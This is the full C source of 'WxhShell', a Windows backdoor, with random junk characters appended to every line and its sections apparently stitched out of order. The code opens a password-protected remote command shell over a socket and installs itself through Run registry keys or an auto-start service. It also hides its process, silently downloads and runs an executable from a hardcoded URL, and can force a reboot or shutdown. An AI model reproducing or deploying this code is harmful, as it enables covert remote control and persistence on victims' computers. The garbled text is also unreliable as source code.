    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;j7#7MN2_E  
    else { cR{#V1Z  
    closesocket(wsh); 2/f}S?@   
    ExitThread(0); .6> w'F{>  
    } l.]xB,k  
    break; @c#(.=  
    } LLI.8kn7  
  // 获取shell >sF)Bo Lc  
  case 's': { 7nSxi+6e  
    CmdShell(wsh); H::bwn`Vc  
    closesocket(wsh); \^LFkp  
    ExitThread(0); QnDg 6m)+  
    break; Y@v>FlqI{  
  } ;|RTx  
  // 退出 }qUX=s GG  
  case 'x': { C^){.UGmJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); df=f62  
    CloseIt(wsh); KoRV %@I  
    break; @CoIaUVP  
    } > !JS:5|  
  // 离开 dQvcXl]  
  case 'q': { m'U0'}Ld};  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WxDh;*am:  
    closesocket(wsh); LD?sh"?b  
    WSACleanup(); 54,er$$V  
    exit(1); ~Ei<Z`3}7"  
    break; 3q.q YX  
        } Y2TtY;  
  } #Z#-Ht  
  } ]GS bjHsO  
R_KH"`q  
  // 提示信息 \['Cj*ek  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PnTu  
} ~u{uZ(~  
  } (:_$5&i7  
.}t e>]A*  
  return; v19-./H^ j  
} #c J@uqR  
~[ jQ!tz  
// shell模块句柄 J,hCvm  
int CmdShell(SOCKET sock) M:8R -c#![  
{ s7<AfaJPF  
STARTUPINFO si; oDR%\VY6T  
ZeroMemory(&si,sizeof(si)); \zY!qpX<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w xH7?tsf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4 5e~6",  
PROCESS_INFORMATION ProcessInfo; sB</DS  
char cmdline[]="cmd"; XSDpRo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ' %qr.T %  
  return 0; Ri{=]$  
} 0f/<7R  
s1rCpzK0  
// 自身启动模式 pRqx`5 }  
int StartFromService(void) ixFi{_  
{ .8R@2c`}Cs  
typedef struct M+>u/fldV  
{ f 2.HF@  
  DWORD ExitStatus; q'DW~!>qX  
  DWORD PebBaseAddress; @- xjfC\d  
  DWORD AffinityMask; ^ y::jK  
  DWORD BasePriority; G2D$aSh  
  ULONG UniqueProcessId; ,hVli/  
  ULONG InheritedFromUniqueProcessId; WY/}1X9.%  
}   PROCESS_BASIC_INFORMATION; \bcLiKE{  
O?2DQY?jT  
PROCNTQSIP NtQueryInformationProcess; +nL[MSw  
![1rzQvGDb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -~1~I e2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tx D#9]Q`  
2 nCA<&  
  HANDLE             hProcess; 6'/ #+,d'  
  PROCESS_BASIC_INFORMATION pbi; _U(  
Nc`L;CP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y|n"dMrL  
  if(NULL == hInst ) return 0; "[J^YKoF  
e= AKD#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0;k# *#w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YWLj?+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wp_0+$?s  
XTy x r  
  if (!NtQueryInformationProcess) return 0; t# i #(H  
b;n[mk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); az$FnVNn=  
  if(!hProcess) return 0; v+XJ*N[W  
%v|B *  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X8|,   
DVA:Cmh\  
  CloseHandle(hProcess); :> '+"M2r  
r&CiSMS*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t0S 1QC+  
if(hProcess==NULL) return 0; Cy e.gsCT  
z_HdISy0  
HMODULE hMod;   ep8  
char procName[255]; 1#x0q:6  
unsigned long cbNeeded; Da|z"I x  
mt .sucT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @]j1:PN-  
A"]YM'.  
  CloseHandle(hProcess); f#;>g  
.nJz G  
if(strstr(procName,"services")) return 1; // 以服务启动 :X=hQ:>P  
V88p;K$+  
  return 0; // 注册表启动 vaLSH xi  
} *w&e\i|7  
;u JMG  
// 主模块 7! Nsm  
int StartWxhshell(LPSTR lpCmdLine) Tk}]Gev  
{ j%kncGS  
  SOCKET wsl; HN"Z]/ 5j  
BOOL val=TRUE; M]^5s;y  
  int port=0; F8=+j_UGI  
  struct sockaddr_in door; # d  
Vr}'.\$  
  if(wscfg.ws_autoins) Install(); l#o ~W`  
aN?zmkPpov  
port=atoi(lpCmdLine); /: "1Z]@  
<)9y{J}s:  
if(port<=0) port=wscfg.ws_port; dd;~K&_Q/i  
W1~0_;  
  WSADATA data; zCZf%ATq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :Ye !w$r  
4s- !7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e ,(mR+a8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); **%37  
  door.sin_family = AF_INET; kVgTGC"L=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "jZ-,P=  
  door.sin_port = htons(port); .#gzP2 [q  
vXs"Dst  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tmq OJ  
closesocket(wsl); ?s01@f#  
return 1; [,Gg^*umS  
} (QEG4&9  
+7Gwg  
  if(listen(wsl,2) == INVALID_SOCKET) { @ Y+oiB~Y  
closesocket(wsl); -w2/w@&  
return 1; J1k>07}|  
} K- v#.e4  
  Wxhshell(wsl); D*jM1w_`  
  WSACleanup(); vh^VxS  
Lbgi7|&  
return 0; Wr 4,YQM  
XFl 6M~ c  
} >MZ/|`[M  
h p1Bi  
// 以NT服务方式启动 <'u'#E@"sl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X'ag)|5ot  
{ Dt@SqX:~Ee  
DWORD   status = 0; { 6il`>=C  
  DWORD   specificError = 0xfffffff; *4'"2"  
{7[Ox<Ho  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {}9a6.V;}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &C}*w2]0S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =_CzH(=f#  
  serviceStatus.dwWin32ExitCode     = 0; rq{$,/6.  
  serviceStatus.dwServiceSpecificExitCode = 0; /ZX }Nc g  
  serviceStatus.dwCheckPoint       = 0; '1[Ft03  
  serviceStatus.dwWaitHint       = 0; m67V_s,7B  
10&8-p1/mc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [^iN}Lz  
  if (hServiceStatusHandle==0) return; hrk r'3lv  
wYea\^co  
status = GetLastError();  mh%VrA q  
  if (status!=NO_ERROR) z{q`GwW  
{ U{mYTN*:j$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ! nx{ X  
    serviceStatus.dwCheckPoint       = 0; _`X:jj>  
    serviceStatus.dwWaitHint       = 0; ?ub35NLa  
    serviceStatus.dwWin32ExitCode     = status; P \I|,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5P bW[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PCA4k.,T  
    return; mFeP9MfJ  
  } I%):1\)  
'/p4O2b,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?6!LL5a.  
  serviceStatus.dwCheckPoint       = 0; P}iE+Z 3  
  serviceStatus.dwWaitHint       = 0; +`4A$#$+y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T{ "(\X$  
} 6]N.%Y[(  
kZ~~/?B  
// 处理NT服务事件,比如:启动、停止 9r9NxKuAO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z+SRXKQ  
{ / {%%"j  
switch(fdwControl) y =@N|f!  
{ ZSw.U:ep$s  
case SERVICE_CONTROL_STOP: 6)J#OKZ  
  serviceStatus.dwWin32ExitCode = 0; st*gs-8jJ;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /v}`l  
  serviceStatus.dwCheckPoint   = 0; *8q.YuZ  
  serviceStatus.dwWaitHint     = 0; +ZYn? #IQ  
  { !D6]JPX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qs6aB0ln  
  } 3|7QU ld  
  return; %<5'=t'|-U  
case SERVICE_CONTROL_PAUSE: |Tw~@kT@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AA_%<zK  
  break; 7)m9"InDI  
case SERVICE_CONTROL_CONTINUE: b>k y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M|-)GvR$J  
  break; N`i/mP  
case SERVICE_CONTROL_INTERROGATE: fA-7VdR`R  
  break; MD]>g>  
}; [QTV9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CTK;dM'uQ  
} *Ex|9FCt$  
1YA% -~  
// 标准应用程序主函数 @HW*09TG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ESs\O?nO  
{ :Tc^y%b0  
iLT}oKF2N;  
// 获取操作系统版本 9mgIUjz  
OsIsNt=GetOsVer(); ^Cmyx3O^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $>gFf}#C  
E^PB)D(.  
  // 从命令行安装 eyaNs{TV  
  if(strpbrk(lpCmdLine,"iI")) Install(); oU|c.mYe  
|qLh5Ty  
  // 下载执行文件 =41xkAMnk  
if(wscfg.ws_downexe) { 8MBAtVmy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e!`i3KYn"  
  WinExec(wscfg.ws_filenam,SW_HIDE); !k%#R4*>  
} q4q6c")zp  
ex|F|0k4}  
if(!OsIsNt) { @x1-! ~z#  
// 如果时win9x,隐藏进程并且设置为注册表启动 )[  ,A_3E  
HideProc(); neh(<>  
StartWxhshell(lpCmdLine); tkhCw/  
} 5f/`Q   
else 5xde;  
  if(StartFromService()) d _ e WcI  
  // 以服务方式启动 iE{&*.q_}>  
  StartServiceCtrlDispatcher(DispatchTable); ,Q,^3*HX9}  
else Q?T]MUY(L  
  // 普通方式启动 VpUAeWb  
  StartWxhshell(lpCmdLine); &zhAh1m  
8fb'yjIC  
return 0; >7r!~+B"9'  
} ,[Fb[#Qqb  
l,: F  
Q&&@v4L   
m* ;ERK  
=========================================== v:p}B$  
g>sSS8R O  
z2c6T.1M  
z~Q)/d,Ac  
*A< 5*Db:F  
ckn~#UE=  
" 5uf a  
DMS! a$4  
#include <stdio.h> *H122njH+T  
#include <string.h> F/Pep?'  
#include <windows.h> _U0f=m  
#include <winsock2.h> 1}37Q&2  
#include <winsvc.h> >+waX "e  
#include <urlmon.h> cAy3^{3:  
Ie^l~ Gb  
#pragma comment (lib, "Ws2_32.lib") f5k6`7Vj]  
#pragma comment (lib, "urlmon.lib") =EIkD9u  
$N\Ja*g  
#define MAX_USER   100 // 最大客户端连接数 mTh]PPo   
#define BUF_SOCK   200 // sock buffer zJXplvaL;  
#define KEY_BUFF   255 // 输入 buffer z=FZiH  
.-=vx r  
#define REBOOT     0   // 重启 uMv1O{  
#define SHUTDOWN   1   // 关机 *kVV+H<X|b  
b\ PgVBf9  
#define DEF_PORT   5000 // 监听端口 @KA4N`  
V:27)]q  
#define REG_LEN     16   // 注册表键长度 ]~%6JJN7  
#define SVC_LEN     80   // NT服务名长度 jtc~DL  
K>9 ()XT)  
// 从dll定义API PX99uWx5]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qNr} \J|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {U1m.30n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XM}hUJJW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q^I\cAIB  
a6H%5N  
// wxhshell配置信息 ,P Z ge  
struct WSCFG { BC]?0 U  
  int ws_port;         // 监听端口 x:7IIvP  
  char ws_passstr[REG_LEN]; // 口令 {|\.i  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8] ikygt"  
  char ws_regname[REG_LEN]; // 注册表键名 J=L5=G7(  
  char ws_svcname[REG_LEN]; // 服务名 ?}7p"3j'z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -F92-jBM4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 66 Tpi![  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7 ?t6UPf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^J d r>@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v@Ox:wl>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V$~9]*Wn  
3~ \[7I/  
}; d\Zng!Z'  
vI]N^j2%  
// default Wxhshell configuration _~pbqa,  
struct WSCFG wscfg={DEF_PORT, 5PW^j\G-f  
    "xuhuanlingzhe", rGkyGz8>  
    1, c)tfAD(N8x  
    "Wxhshell", \Roz$t-R|f  
    "Wxhshell", x`?3C"N:<  
            "WxhShell Service", 4fzZ;2sl}  
    "Wrsky Windows CmdShell Service", akT6^cP^  
    "Please Input Your Password: ", >3_Gw4S*H  
  1, B ZxvJQ  
  "http://www.wrsky.com/wxhshell.exe", kW (Bkuc)  
  "Wxhshell.exe" j7c3(*Pl  
    }; L-\GHu~)  
go"Hf_  
// 消息定义模块 2"5v[,$1H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4X$Qu6#i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -^57oU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qw8Rlws%  
char *msg_ws_ext="\n\rExit."; ?s _5&j7  
char *msg_ws_end="\n\rQuit."; M[uA@  
char *msg_ws_boot="\n\rReboot..."; 6&-(&( _  
char *msg_ws_poff="\n\rShutdown..."; 0RK!/:'  
char *msg_ws_down="\n\rSave to "; LK"69Qx?5q  
*4Izy14e  
char *msg_ws_err="\n\rErr!"; yZ`wfj$Jj  
char *msg_ws_ok="\n\rOK!"; Y<rU#Z#T  
Uwi7)  
char ExeFile[MAX_PATH]; q]M0md  
int nUser = 0; X76e&~  
HANDLE handles[MAX_USER]; `@ FYkH  
int OsIsNt; jSAjcLR  
AK#1]i~  
SERVICE_STATUS       serviceStatus; '=6\v!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;\l,5EG  
{_Gs*<.  
// 函数声明 ZW}_Q s  
int Install(void); mQ=#nk$~g  
int Uninstall(void); L:8q8i  
int DownloadFile(char *sURL, SOCKET wsh); IMfqiH)  
int Boot(int flag); )/EO&F  
void HideProc(void); 'ah[(F<*@e  
int GetOsVer(void); \G3rX9xG  
int Wxhshell(SOCKET wsl); X|8c>_}  
void TalkWithClient(void *cs); 3&/Ixm:  
int CmdShell(SOCKET sock); ${)b[22":  
int StartFromService(void); #=v~8  
int StartWxhshell(LPSTR lpCmdLine); 9M9?%N:ra  
]cN1c}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~= -RK$=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F3N6{ysK#  
d:{O\   
// 数据结构和表定义 e!r-+.i(  
SERVICE_TABLE_ENTRY DispatchTable[] = AvHCO8h|  
{ @gtQQxf"  
{wscfg.ws_svcname, NTServiceMain}, pBPl6%C.X-  
{NULL, NULL} 0AV c  
}; Z: 7fV5b(  
,=mS,r7  
// 自我安装 w'3iY,_ufC  
int Install(void) FkRo _?  
{ Ib0ZjX6  
  char svExeFile[MAX_PATH]; EU/8=JA1  
  HKEY key; X~i<g?]  
  strcpy(svExeFile,ExeFile); 2wgg7[tGi  
RAK-UN  
// 如果是win9x系统,修改注册表设为自启动 gl_^V&c  
if(!OsIsNt) { -B\HI*u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $D UZ!zaH!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z*2Vpnqh\  
  RegCloseKey(key); ~| 6[j<ziL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >6pf$0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UOmY-\ &c  
  RegCloseKey(key); <1COZ)   
  return 0; -[DOe?T  
    } d&s9t;@=  
  } mo#04;VF  
} 2Q"K8=s  
else { u4|$bbig  
$"&{aa  
// 如果是NT以上系统,安装为系统服务 '!a'ZjYyi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8&Y^""#e)  
if (schSCManager!=0) x~j`@k,;  
{ KFkoS0M5|  
  SC_HANDLE schService = CreateService :TC@tM~Oy  
  ( yq iq,=OvP  
  schSCManager, Clb@$,  
  wscfg.ws_svcname, nmi|\mof  
  wscfg.ws_svcdisp, {3{"8-18  
  SERVICE_ALL_ACCESS, Y]u+\y~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *%t^;&x?  
  SERVICE_AUTO_START, \`\ZTZni  
  SERVICE_ERROR_NORMAL, gH3vk $WS  
  svExeFile,  H =^`!  
  NULL, usL* x9i  
  NULL, {Wu$YWE*sx  
  NULL, :+|Z@KB  
  NULL, )sp4Ie  
  NULL f_Av3  
  ); ;H.^i|_/  
  if (schService!=0) 1!T1Y,w  
  { WYYa /,{9.  
  CloseServiceHandle(schService); +|89>}w4  
  CloseServiceHandle(schSCManager); t=O8f5Pf{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^7KH _t8  
  strcat(svExeFile,wscfg.ws_svcname); U,-39mr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q=20IQp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &wE%<"aRAl  
  RegCloseKey(key); e?=^;v%r  
  return 0; BV upDGh3  
    } -kwXvYu\  
  } YLE!m?  
  CloseServiceHandle(schSCManager); Um-[~-  
} vV e';|8v  
} -f>%+<k=  
Q & K  
return 1; 28J^DMOW  
} in-HUG  
|3[Wa^U5  
// 自我卸载 ndz]cx  
int Uninstall(void) [>%xd)8.c  
{ g:dH~>  
  HKEY key; 2!J&+r  
 K;z7/[%  
if(!OsIsNt) { t*T2Z-!P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }m;,Q9:+m^  
  RegDeleteValue(key,wscfg.ws_regname); o-OHjFfB  
  RegCloseKey(key); iv;Is[<o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M`i\VG  
  RegDeleteValue(key,wscfg.ws_regname); {I#]@,  
  RegCloseKey(key); mFaZio0GK  
  return 0; a^zibPG  
  } c%G{#}^2  
} /M4{Wc  
} T iiWp!mX  
else { H>B&|BO_[  
j; y#[|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !F1N~6f  
if (schSCManager!=0) K[r^'P5m  
{ >X4u]>X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q):5JXql~  
  if (schService!=0) 9-DZU,`P  
  { A.F738Zp{Z  
  if(DeleteService(schService)!=0) { ?ztkE62t  
  CloseServiceHandle(schService); dCk3;XU  
  CloseServiceHandle(schSCManager); n}G|/v<  
  return 0; FZ,#0ZYJGP  
  } 8UyMVY  
  CloseServiceHandle(schService); X_|J@5b7  
  } +M$Q =6/  
  CloseServiceHandle(schSCManager); ;n=.>s*XL'  
} HxK80mJ  
} $5< #n@  
$#S&QHyEe  
return 1; w6GyBo{2O_  
} DYxCQ D  
[@b&? b~K  
// 从指定url下载文件 iIa'2+  
int DownloadFile(char *sURL, SOCKET wsh) ve/<=IR Zo  
{ IS 2^g>T#1  
  HRESULT hr; <_tT<5'[$u  
char seps[]= "/"; D (m j7oB  
char *token; F,dx2ZPIs?  
char *file; 5^lxj~ F  
char myURL[MAX_PATH]; V7P&%oz{C  
char myFILE[MAX_PATH]; au=o6WRa  
Hx*;jpy(2  
strcpy(myURL,sURL); tEKmy7'#  
  token=strtok(myURL,seps); G) 7;;  
  while(token!=NULL) TbGn46!:  
  { Dg?70v <a  
    file=token; \LppYXz  
  token=strtok(NULL,seps); M)N?qRD  
  } }\#Rot>Y  
TDNQu_E  
GetCurrentDirectory(MAX_PATH,myFILE); n3Z 5t  
strcat(myFILE, "\\"); 5b[jRj6  
strcat(myFILE, file); ]0)|7TV*  
  send(wsh,myFILE,strlen(myFILE),0); O 8u j`G 9  
send(wsh,"...",3,0); -}=%/|\FG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `[)YEg s  
  if(hr==S_OK) %i-c0|,T4  
return 0; _m'Fr 7  
else r{ef.^&:  
return 1; ~ZhraSI) G  
hKjt'N:~ZY  
} s6zNV4  
`_{`l4i 5  
// 系统电源模块 h`k"A7M  
int Boot(int flag) /[)qEl2]K  
{ 5sJJGv#6  
  HANDLE hToken; jeX^}]x|%  
  TOKEN_PRIVILEGES tkp; k_q0Q;6w!l  
`gb5 "`EZ  
  if(OsIsNt) { ez^@NK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %S nd\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lM{ +!-G,  
    tkp.PrivilegeCount = 1; ;@Z#b8aM}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (B_\TdQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "xHgqgFyO  
if(flag==REBOOT) { OJ zs Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .!,z:l$Kh  
  return 0; (egzH?  
} D'A/wG  
else {  !@'6)/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mo @C9Y0  
  return 0; K7W6ZH9;  
} `~;rblo;  
  } 7`8Ik`lY  
  else { BT"42#7_  
if(flag==REBOOT) { aKuSd3E@#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h{p=WWK  
  return 0; >ByXB!Wi+  
} ``e$AS  
else { *nsAgGKKM^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oDYRQozo>  
  return 0; <5jzl  
} y2vUthRwo  
} Zx  bq  
i35=Y~P-  
return 1; ^?]%sdT q  
} Yvjc1  
Qx47l  
// win9x进程隐藏模块 69NQ]{1  
void HideProc(void) yz*6W zD  
{ UHxE)]J  
1u(.T0j7f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a5!Fv54  
  if ( hKernel != NULL ) $3uKw!z  
  { MFm"G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z` FCs,?K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B0WJ/)rK<  
    FreeLibrary(hKernel); ez!C?  
  } mAW, ?h  
' n$ %Ls}S  
return; ql?=(b;D  
} hk;7:G  
_({A\}Q|  
// 获取操作系统版本 wqW 0v\  
int GetOsVer(void) (B-43!C  
{ deixy. |  
  OSVERSIONINFO winfo; X'% ;B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m[@Vf9  
  GetVersionEx(&winfo); pBP.x#|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ku a) K!  
  return 1; X2i}vjkY  
  else ${nX:!)  
  return 0; 3LTcEd  
} n` TSu$  
?zJOh^  
// 客户端句柄模块 0,Y5KE{  
int Wxhshell(SOCKET wsl) JA_BKA  
{ 4bJZmUb  
  SOCKET wsh; Mz;[+p  
  struct sockaddr_in client; xOHgp=#D  
  DWORD myID; `TPOCxM Mo  
4[-*~C|W5  
  while(nUser<MAX_USER) J@ktyd(P  
{ (?! ,p^  
  int nSize=sizeof(client); P?]aWJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {]]|5 \F  
  if(wsh==INVALID_SOCKET) return 1; m&iH2|  
Tl|:9_:t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gxMfu?zk"  
if(handles[nUser]==0) -+em!g'  
  closesocket(wsh); 'EfR|7m  
else 4r0b)Y &I  
  nUser++; Yl$SW;@  
  } g@Qgxsyk>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b (I2m  
PeE/iZ.  
  return 0; 2kUxD8BcN  
} %F*|;o7s  
*d',Vuv&[  
// 关闭 socket d'Axum@  
void CloseIt(SOCKET wsh) u}|%@=xn  
{ >xn}N6Rj2~  
closesocket(wsh); ulJX1I=|p  
nUser--; n%\ /J  
ExitThread(0); 2{.QjYw^  
} \S)2  
EmT`YNuc  
// 客户端请求句柄 z5X~3s\dP  
void TalkWithClient(void *cs) n7YEG-J  
{ VCcr3Dx()F  
*I0-O*Xr  
  SOCKET wsh=(SOCKET)cs; rUjdq/I:Z  
  char pwd[SVC_LEN]; oejfU;+$  
  char cmd[KEY_BUFF]; M}wXJ8aF?  
char chr[1]; 5 VA(tzmCt  
int i,j; s{4\xAS>  
:aIN9;  
  while (nUser < MAX_USER) { %D`,k*X  
\rV B5|D?  
if(wscfg.ws_passstr) { 7RvUH-S[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |J~eLh[d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CCGV~e+  
  //ZeroMemory(pwd,KEY_BUFF); ACK1@eF  
      i=0; }V|{lvt.  
  while(i<SVC_LEN) { sW^a`VM  
5Fm=/o1  
  // 设置超时 |uH%6&\  
  fd_set FdRead; Px>va01n  
  struct timeval TimeOut; Q9`QL3LQD  
  FD_ZERO(&FdRead); a%Jx `hx  
  FD_SET(wsh,&FdRead); 5Y3i|cj  
  TimeOut.tv_sec=8; -sMytHH.  
  TimeOut.tv_usec=0; 8g >b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [!VOw@uz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U#o'H @  
6R29$D|HFO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *AIEl"29  
  pwd=chr[0]; !"TZ:"VZU  
  if(chr[0]==0xd || chr[0]==0xa) { Ij'NC C  
  pwd=0; 47T}0q,  
  break; ^-M^gYBR  
  } ._96*r=o  
  i++; a/uo}[Y  
    } ag4`n:1  
"XLe3n  
  // 如果是非法用户,关闭 socket ]fI/(e_U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4E:bp   
} 8%~t  
VIR.yh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5ZAb]F90  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >uI$^y1D  
2n`Lg4=  
while(1) { v}v 5  
m!OMrZ%)}  
  ZeroMemory(cmd,KEY_BUFF); \BI/G  
=BZ?-mIU  
      // 自动支持客户端 telnet标准   Y#01o&f0n  
  j=0; 8)\M:s~7&  
  while(j<KEY_BUFF) { qOG}[%<^n7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [W,-1.$!dM  
  cmd[j]=chr[0]; n|4;Hn1V  
  if(chr[0]==0xa || chr[0]==0xd) { hD<f3_k  
  cmd[j]=0; XL}<1- }  
  break; y/@iT8$rp  
  }  !=*.$4  
  j++; (a6?s{(  
    } m^{ xd2  
)-/gLZsx  
  // 下载文件 cub <G!K  
  if(strstr(cmd,"http://")) { ^`qPs/b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cUDgM  
  if(DownloadFile(cmd,wsh)) !@ YXZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nD,{3B#  
  else ;</Twm;:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (w2= 2$  
  } (5uJZ!m  
  else { ;' e@t8i6  
czBi Dk4  
    switch(cmd[0]) { }1%r%TikY  
